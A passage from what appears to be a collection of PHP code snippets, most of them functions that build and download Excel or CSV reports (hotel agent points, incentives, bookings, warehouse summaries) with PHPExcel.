$startNum = 10;\r\n //$startDetail = 8 ;\r\n //$startDetailUser = 11 ;\r\n foreach($reportHotels['hotels']['detail-agent'] as $row){\r\n $arrItem = array($no, $row['mg_user_id'],$row['kode_agent'], $row['AgentName'], $row['fromdate'], $row['todate'], $row['room'], $row['night'], $row['roomnight'], $row['point'],$row['point_promo']);\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n $index = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n \r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$index]);\r\n $index++;\r\n \r\n // make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1); \r\n }\r\n $startNum++;\r\n $no++;\r\n }\r\n \r\n \r\n //foreach ($reportHotels['hotels'] as $row) { \r\n // $arrItem = array($no, $row['hotel'],$row['city'], $row['country'], $row['jumlah']);\r\n // $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n //\r\n ////make color\r\n //$this->excel->getActiveSheet()->getStyle(\"A\".$startNum.\":I\".$startNum)->applyFromArray(array(\"fill\" => array(\"type\" => PHPExcel_Style_Fill::FILL_SOLID, \"color\" => array( \"rgb\" => 'e5dcdc'))));\r\n // \r\n // $i = 0;\r\n // foreach($arrCellsItem as $cellsItem){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n // $i++;\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1); \r\n // }\r\n // \r\n // $startNum = $startNum + 2;\r\n // \r\n // //set detail transaksi\r\n // /*Untuk title tulisan detail transaksi*/\r\n // $arrFieldDetails = array('List Agent') ;\r\n // \r\n // $arrCellsTitleDetails = $this->excel->setValueHorizontal($arrFieldDetails, $startDetail, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // \r\n // $d = 0 ;\r\n // foreach($arrCellsTitleDetails as $cellsDetails){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsDetails, $arrFieldDetails[$d]);\r\n // $d++;\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsDetails)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // \r\n // }\r\n // //$startDetail = $startNum + 1;\r\n // $startDetail = $startNum;\r\n // /*End Untuk title tulisan detail transaksi*/\r\n // \r\n // /*Untuk Data title detail transaksi yang ditampilkan*/\r\n // $arrFieldDetailsHeader = array('Kode Agent', 'Agent Name', 'Phone Agent', 'Hotel', 'Check Out') ;\r\n // $arrCellsTitleDetailsHeader = $this->excel->setValueHorizontal($arrFieldDetailsHeader, $startDetail, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // $e = 0 ;\r\n // foreach($arrCellsTitleDetailsHeader as $cellsDetailsheader){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsDetailsheader, $arrFieldDetailsHeader[$e]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsDetailsheader)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // $this->excel->getActiveSheet()->getStyle('A'.$startDetail.':I'.$startDetail)->getFont()->setBold(true);\r\n // \r\n // $e++; \r\n // }\r\n // $startDetail = $startNum + 1;\r\n // /*ENd Untuk Data title detail transaksi yang ditampilkan*/\r\n // \r\n // //Untuk loop detail transaksi user ;\r\n // \r\n // $setmulaiDetailsBooking = $startDetail;\r\n // //set isi detail booking transaksi\r\n // foreach($row['detail-agent'] as $rowsDetails){\r\n // \r\n // \r\n // $arrItemDetailsBookingTransaksi = array($rowsDetails['kode_agent'],$rowsDetails['name'],$rowsDetails['phone'],$rowsDetails['hotel'], $rowsDetails['todate']);\r\n // \r\n // $arrCellsItemDetailsBookingTransaksi = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksi, $setmulaiDetailsBooking, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // \r\n // $a = 0;\r\n // foreach($arrCellsItemDetailsBookingTransaksi as $cellsItemDetailsBookings){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsItemDetailsBookings, $arrItemDetailsBookingTransaksi[$a]);\r\n // \r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsItemDetailsBookings)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // $this->excel->getActiveSheet()->getStyle('A'.$setmulaiDetailsBooking.':I'.$setmulaiDetailsBooking)->getFont()->setBold(true);\r\n // \r\n // $a++;\r\n // }\r\n // \r\n // $starttitleusers = $setmulaiDetailsBooking + 1;\r\n // \r\n // /*Untuk Data title detail transaksi yang ditampilkan*/\r\n // $arrFieldUserHeader = array('MG User ID', 'Name', 'Email', 'Room ', 'Night', 'Room Night', 'Point Promo', 'Check OUt') ;\r\n // $arrCellsTitleUserHeader = $this->excel->setValueHorizontal($arrFieldUserHeader, $starttitleusers, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // $tus = 0 ;\r\n // foreach($arrCellsTitleUserHeader as $cellsUsersheader){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsUsersheader, $arrFieldUserHeader[$tus]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsUsersheader)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // //$this->excel->getActiveSheet()->getStyle('A'.$starttitleusers.':I'.$starttitleusers)->getFont()->setBold(true);\r\n // \r\n // $tus++; \r\n // }\r\n // $starttitleusers = $starttitleusers;\r\n // /*ENd Untuk Data title detail transaksi yang ditampilkan*/\r\n // \r\n // \r\n // \r\n // //$starttitleusers = $setmulaiDetailsBooking + 1;\r\n // //foreach($rowsDetails['detail-user'] as $users){\r\n // // $arrItemDetailsBookingTransaksiUsers = array($users['mg_user_id'],$users['name'],$users['email'],$users['room'],$users['roomnight'],$users['point_promo']);\r\n // // $arrCellsItemDetailsBookingTransaksiUsers = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksiUsers, $startlistUser, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // // \r\n // // $def = 0 ;\r\n // // foreach($arrCellsItemDetailsBookingTransaksiUsers as $cellsUsers){\r\n // // \r\n // // $this->excel->getActiveSheet()->setCellValue($cellsUsers, $arrItemDetailsBookingTransaksiUsers[$def]);\r\n // // \r\n // // // make border\r\n // // $this->excel->getActiveSheet()->getStyle($cellsUsers)->applyFromArray($styleArray);\r\n // // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // // \r\n // // //make the font become bold\r\n // // //$this->excel->getActiveSheet()->getStyle('A'.$startlistUser.':I'.$startlistUser)->getFont()->setBold(true);\r\n // // \r\n // // $def++; \r\n // // }\r\n // // \r\n // // $starttitleusers++;\r\n // //}\r\n // \r\n // $startlistUser = $starttitleusers + 1;\r\n // foreach($rowsDetails['detail-user'] as $users){\r\n // $arrItemDetailsBookingTransaksiUsers = array($users['mg_user_id'],$users['name'],$users['email'],$users['room'],$users['night'],$users['roomnight'],$users['point_promo'],$users['todate']);\r\n // $arrCellsItemDetailsBookingTransaksiUsers = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksiUsers, $startlistUser, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // \r\n // $def = 0 ;\r\n // foreach($arrCellsItemDetailsBookingTransaksiUsers as $cellsUsers){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsUsers, $arrItemDetailsBookingTransaksiUsers[$def]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsUsers)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // //$this->excel->getActiveSheet()->getStyle('A'.$startlistUser.':I'.$startlistUser)->getFont()->setBold(true);\r\n // \r\n // $def++; \r\n // }\r\n // \r\n // $startlistUser++;\r\n // }\r\n // \r\n // $setmulaiDetailsBooking = $startlistUser;\r\n // \r\n // \r\n // }\r\n // //End loop detail transaksi user ;\r\n // \r\n // \r\n // $startNum = ($startNum + 1 ) + count($row['detail-agent']) ;\r\n // //$startDetail = $startNum + 2 ;\r\n // //$startDetailUser = $setmulaiDetailsBooking + 1 ;\r\n // $no++;\r\n //}\r\n \r\n //make auto size \r\n for($col = 'A'; $col !== 'K'; $col++) {\r\n $this->excel->getActiveSheet()->getColumnDimension($col)->setAutoSize(true);\r\n } \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A9:K9')->applyFromArray($styleArray);\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A9:K9')->getFont()->setBold(true);\r\n \r\n \r\n //make color\r\n $this->excel->getActiveSheet()->getStyle(\"A9:K9\")->applyFromArray(array(\"fill\" => array(\"type\" => PHPExcel_Style_Fill::FILL_SOLID, \"color\" => array( \"rgb\" => '66CCFF'))));\r\n \r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getFont()->setBold(true);\r\n //set row height\r\n $this->excel->getActiveSheet()->getRowDimension('1')->setRowHeight(30);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:K1');\r\n\r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n \r\n $filename = $reportBy.'-Performance'.$from_date.'-'.$to_date.'.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "function krnEmit_reportTitleRow($appEmitter, $title, $colSpan) {\n $s1 = '<div class=\"draff-report-top-left\"></div>';\n $s2 = '<div class=\"draff-report-top-middle\">'.$title.'</div>';\n $s3 = '<div class=\"draff-report-top-right\">'.draff_dateTimeAsString(rc_getNow(),'M j, Y' ).'</div>';\n $appEmitter->row_start();\n $appEmitter->cell_block($s1 . $s2 . $s3 ,'draff-report-top', 'colspan=\"'.$colSpan.'\"');\n $appEmitter->row_end();\n}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "function rawpheno_change_sheet(&$xls_obj, $tab_name) {\n // Get all the sheets in the workbook.\n $xls_sheets = $xls_obj->Sheets();\n\n // Locate the measurements sheet.\n foreach($xls_sheets as $sheet_key => $sheet_value) {\n $xls_obj->ChangeSheet($sheet_key);\n\n // Only process the measurements worksheet.\n if (rawpheno_function_delformat($sheet_value) == 'measurements') {\n return TRUE;\n }\n }\n\n return FALSE;\n}", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "function printCell($data,$total,$col,$field,$file_name,$module,$data2,$incentive_ytd,$incentive_type,$period,$created_date,$modified_date){\n\t\t$j = 1;\n\t\t$total = $total;\n\t\t$field_count = count($field);\n\t\t$c_count = $field_count-1;\n\t\t$k = 0;\n\t\t\n\t\t// for view incentive 1\n\t\tif($module == 'view_incentive1'){\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A1', 'Employee');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setAutoSize(true);\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B1', $data2['employee']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A2', 'Incentive Type');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B2', $incentive_type);\n\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A3', 'Period');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B3', $period);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A4', 'Productivity %');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B4', $data2['productivity']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('B4')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A5', 'Incentive Amount (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B5', $data2['eligible_incentive_amt']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('B5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C1', 'No. of Candidates Interviewed');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C1')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C1')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D1', $data2['interview_candidate']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('D1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C2', 'Individual Contribution - YTD (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D2', $incentive_ytd);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('D2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C3', 'Created Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D3', $created_date);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C4', 'Modified Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D4', $modified_date);\n\n\t\t\t// iterate the multiple rows\n\t\t\tfor($i = 8; $i <= $total+7; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){\n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\n\t\t\n\t\t}elseif($module == 'view_incentive2'){\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A1', 'Employee');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setAutoSize(true);\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B1', $data2['employee']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A2', 'Incentive Type');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B2', $incentive_type);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A3', 'Period');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B3', $period);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A4', 'Min. Performance Target (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B4', $data2['incentive_target_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A5', 'Actual Individual Contribution (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B5', $data2['achievement_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C1', 'Incentive Amount (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C1')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C1')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D1', $data2['eligible_incentive_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C2', 'No. of Candidates Billed');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D2', $data2['candidate_billed']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C3', 'Individual Contribution - YTD (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D3', $incentive_ytd);\n\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C4', 'Created Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D4', $created_date);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C5', 'Modified Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D5', $modified_date);\n\t\t\n\t\t\t// iterate the multiple rows\n\t\t\tfor($i = 9; $i <= $total+8; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){\n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\n\t\t}else{\n\t\t\tfor($i = 2; $i <= $total+1; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){ \n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\t// auto size for columns \n\t\tforeach(range('A',\"$col[$c_count]\") as $columnID) {\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension($columnID)->setAutoSize(true);\n\t\t}\t\n\t\t// set the header\n\t\t$this->setHeader($file_name);\n\t}", "public function BookingExport($user,$year)\n {\n $q = new BookingProvider();\n $filterData = $q->search($user,$year);\n $count = count($filterData);\n //echo $count;exit;\n $objPHPExcel = new PHPExcel();\n\n $objPHPExcel->setActiveSheetIndex(0);\n $objPHPExcel->getActiveSheet()->SetCellValue('A1', 'STAFF');\n $objPHPExcel->getActiveSheet()->SetCellValue('B1', 'JAN');\n $objPHPExcel->getActiveSheet()->SetCellValue('C1', 'FEB');\n $objPHPExcel->getActiveSheet()->SetCellValue('D1', 'MAR');\n $objPHPExcel->getActiveSheet()->SetCellValue('E1', 'APR');\n $objPHPExcel->getActiveSheet()->SetCellValue('F1', 'MAY');\n $objPHPExcel->getActiveSheet()->SetCellValue('G1', 'JUN');\n $objPHPExcel->getActiveSheet()->SetCellValue('H1', 'JUL');\n $objPHPExcel->getActiveSheet()->SetCellValue('I1', 'AUG');\n $objPHPExcel->getActiveSheet()->SetCellValue('J1', 'SEP');\n $objPHPExcel->getActiveSheet()->SetCellValue('K1', 'OCT');\n $objPHPExcel->getActiveSheet()->SetCellValue('L1', 'NOV');\n $objPHPExcel->getActiveSheet()->SetCellValue('M1', 'DEC');\n\n for ($i = 2; $i < $count + 2; $i++) {\n $objPHPExcel->getActiveSheet()->SetCellValue('A' . $i, $filterData[$i - 2]['staff']);\n $objPHPExcel->getActiveSheet()->SetCellValue('B' . $i, $filterData[$i - 2]['jan']);\n $objPHPExcel->getActiveSheet()->SetCellValue('C' . $i, $filterData[$i - 2]['feb']);\n $objPHPExcel->getActiveSheet()->SetCellValue('D' . $i, $filterData[$i - 2]['mar']);\n $objPHPExcel->getActiveSheet()->SetCellValue('E' . $i, $filterData[$i - 2]['apr']);\n $objPHPExcel->getActiveSheet()->SetCellValue('F' . $i, $filterData[$i - 2]['may']);\n $objPHPExcel->getActiveSheet()->SetCellValue('G' . $i, $filterData[$i - 2]['jun']);\n $objPHPExcel->getActiveSheet()->SetCellValue('H' . $i, $filterData[$i - 2]['jul']);\n $objPHPExcel->getActiveSheet()->SetCellValue('I' . $i, $filterData[$i - 2]['aug']);\n $objPHPExcel->getActiveSheet()->SetCellValue('J' . $i, $filterData[$i - 2]['sep']);\n $objPHPExcel->getActiveSheet()->SetCellValue('K' . $i, $filterData[$i - 2]['oct']);\n $objPHPExcel->getActiveSheet()->SetCellValue('L' . $i, $filterData[$i - 2]['nov']);\n $objPHPExcel->getActiveSheet()->SetCellValue('M' . $i, $filterData[$i - 2]['dec']);\n }\n\n $objPHPExcel->getActiveSheet()->setTitle('Booking Report');\n\n// Redirect output to a client’s web browser (Excel5)\n $filename = \"Booking Report\" . date('m-d-Y_his') . \".xls\";\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"' . $filename . '\"');\n header('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\n header('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n }", "public function excel()\r\n {\r\n $data = $this->AdminJobModel->getJobsForCSV($this->xssCleanInput('ids'));\r\n $data = sortForCSV(objToArr($data));\r\n $excel = new SimpleExcel('csv'); \r\n $excel->writer->setData($data);\r\n $excel->writer->saveFile('jobs'); \r\n exit;\r\n }", "public function export_summary($id)\n {\n $results = $this->Warehouse_model->getAllDetails($id);\n $FileTitle = 'warehouse Summary Report';\n\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Report Sheet');\n //set cell A1 content with some text\n $this->excel->getActiveSheet()->setCellValue('B1', 'Product Details');\n\n $this->excel->getActiveSheet()->setCellValue('A3', 'DN No.');\n $this->excel->getActiveSheet()->setCellValue('B3', (!empty($results) ? $results[0]->dn_number : \"\"));\n $this->excel->getActiveSheet()->setCellValue('D3', ' Date');\n $this->excel->getActiveSheet()->setCellValue('E3', (!empty($results) ? $results[0]->warehouse_date : \"\"));\n $this->excel->getActiveSheet()->setCellValue('G3', 'Received From');\n $this->excel->getActiveSheet()->setCellValue('H3', (!empty($results) ? $results[0]->employee_name : \"\"));\n\n $this->excel->getActiveSheet()->setCellValue('A5', 'Category Name');\n $this->excel->getActiveSheet()->setCellValue('B5', 'Product Type Name');\n $this->excel->getActiveSheet()->setCellValue('C5', 'Product Name');\n $this->excel->getActiveSheet()->setCellValue('D5', 'total_Quantity');\n $this->excel->getActiveSheet()->setCellValue('E5', 'Product Price');\n $this->excel->getActiveSheet()->setCellValue('F5', 'Total Amount');\n $this->excel->getActiveSheet()->setCellValue('G5', 'GST %');\n $this->excel->getActiveSheet()->setCellValue('H5', 'HSN');\n $this->excel->getActiveSheet()->setCellValue('I5', 'Markup %.');\n\n $a = '6';\n $sr = 1;\n $qty = 0;\n $product_mrp = 0;\n $total = 0;\n $totalGST = 0;\n $finalTotal = 0;\n //print_r($results);exit;\n foreach ($results as $result) {\n\n /*$total = $result->sum + $result->transport ;\n 